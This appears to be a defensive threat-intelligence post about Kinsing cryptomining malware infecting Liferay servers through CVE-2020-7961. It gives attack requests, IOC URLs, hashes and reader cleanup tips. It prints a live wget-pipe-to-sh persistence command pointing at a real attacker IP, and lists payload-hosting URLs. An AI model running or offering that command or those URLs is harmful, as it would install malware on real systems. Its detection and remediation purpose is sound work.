We would like to share with the community the following TTPs and IOC related to Kinsing cryptocurrency mining malware as most research is focused directly on analysis malware samples rather than how it infects the system.
TTPs
Attackers are using RCE vulnerability in Liferay which is identified as CVE-2020-7961 [https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2020-7961]. There is a publicly available PoC on GitHub [https://github.com/mzer0one/CVE-2020-7961-POC/blob/master/poc.py] for this vulnerability, which matched most artifacts we have found on the targeted system.
Attackers are sending the payload using a HTTP POST request:
POST /api/jsonws/invoke
After a successful exploitation the following request is sent to retrieve malicious code:
GET http://X.X.X.X/LifExp.class
We have found that mostly IPv4 addresses are used for communication (domain names were not used for HTTP request - only directly via IP). If you have a proxy server it is quite easy to monitor logs for requests using IP addresses e.g. by using regular expressions.
After LifExp.class is downloaded, additional two files are requested – malware binary (kinsing2) and a bash script (lf.sh). Finding these files on a machine indicates that the system has been infected.
Java class decompiled code (LifExp.class):
Content of the malicious bash script (lf.sh):
In summary the malicious bash script is mainly removing other mining malware from the system and it sets up persistence by using crontab [https://attack.mitre.org/techniques/T1168/]:
wget -q -O - http://195.3.146.118/lf.sh | sh > /dev/null 2>&1
Please take note that the malicious script name (in this case lf.sh) is “random”, as well as the username in Bitbucket request:
https://bitbucket.org/sam3cr12/git/raw/master/kinsing
IOC
http://144.217.117.146/LifExp.class
http://160.202.163.28/LifExp.class
http://185.151.245.208/LifExp.class
http://45.153.231.180/LifExp.class
http://95.142.40.254/LifExp.class
http://144.217.117.146/kinsing
http://144.217.117.146/kinsing2
http://185.151.245.208/kinsing2
http://45.153.231.180/kinsing2
http://95.142.40.254/kinsing2
https://bitbucket.org/sam3cr12/git/raw/master/kinsing
http://144.217.117.146/lf.sh
http://195.3.146.118/lf.sh
md5
a71ad3167f9402d8c5388910862b16ae kinsing2
ad6d3f917c4c7cb0ee57369a6eef70ea lf.sh
fd0f6c3ee4af75939bf21d55c3e4d32c LifExp.class
sha1
42dc7206e1b10684b5a3a76251788c65460ad3a6 kinsing2
9c1fcf9a7b16ff0a42ee25cf267e2cb577fd080f lf.sh
42ee6e0eb0be6879831732e6cae43ee2c0aea948 LifExp.class
sha256
d247687e9bdb8c4189ac54d10efd29aee12ca2af78b94a693113f382619a175b kinsing2
0455858c81d0c303d906c6752a118129e71d535b62297dc7110b4c70b67bbecc lf.sh
6ec5b8ea86d0af908182d6afc63c85a817e0612dba6e5e4b126b5639ab048b16 LifExp.class
3 comments:
Thank you for the detailed article.
Kindly help understand how can this be removed and stopped without re-surfacing.
to cleanup -
1. disable jsonws if not using
2. check /var/tmp for kdevtmpfs , delete that and create a new file with readonly perms
3. check and delete if anything in crontab, if so delete and create new crontab to run every minute and kill any process that with kdevtmpfs (this will ensure your cpu stays under control so u can work)
4. stop liferay , clear osgi state folder, tomcat work and temp folders
5. check tomcat bin for any files with kinsing ,delete them
6. start tomcat
dont use root to run liferay
Post a Comment